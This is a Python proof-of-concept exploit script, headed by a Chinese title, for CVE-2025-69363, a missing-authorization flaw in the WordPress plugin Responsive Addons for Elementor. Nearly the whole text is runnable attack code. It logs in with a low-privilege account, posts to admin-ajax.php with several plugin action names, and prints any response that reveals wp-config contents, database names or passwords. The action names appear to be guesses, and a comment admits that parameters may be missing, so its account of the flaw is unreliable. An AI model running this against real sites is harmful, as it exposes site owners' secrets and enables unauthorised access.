CVE-2025-69363 Responsive Addons for Elementor授权缺失漏洞

# CVE-2025-69363 PoC - Responsive Addons for Elementor Broken Access Control # This PoC demonstrates how a low-privilege user can access admin-only functions import requests import sys from urllib.parse import urljoin def exploit_cve_2025_69363(target_url, username, password): """ Exploit Missing Authorization vulnerability in Responsive Addons for Elementor Affected versions: <= 2.0.8 """ # Setup session session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Attempting login as low-privilege user: {username}') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Identify vulnerable endpoints # Common vulnerable AJAX actions in this plugin vulnerable_actions = [ 'responsive_addons_get_settings', 'responsive_addons_export_data', 'responsive_addons_get_files', 'responsive_addons_read_file', 'responsive_addons_get_widget_data' ] print('[*] Testing for vulnerable AJAX endpoints...') for action in vulnerable_actions: ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') data = { 'action': action, # Additional parameters may be required depending on the specific vulnerability } response = session.post(ajax_url, data=data) # Check if we can access admin-only data without proper authorization if response.status_code == 200: if 'wp-config' in response.text or 'dbname' in response.text or 'password' in response.text: print(f'[CRITICAL] Vulnerable endpoint found: {action}') print(f'[+] Sensitive data exposed: {response.text[:500]}...') return True elif response.text and response.text != '0': print(f'[INFO] Endpoint {action} returned data (may be vulnerable)') print('[-] No vulnerable endpoints found or additional reconnaissance needed') return False if __name__ == '__main__': if len(sys.argv) < 5: print('Usage: python cve-2025-69363.py <target_url> <username> <password>') print('Example: python cve-2025-69363.py http://target.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_69363(target, user, pwd)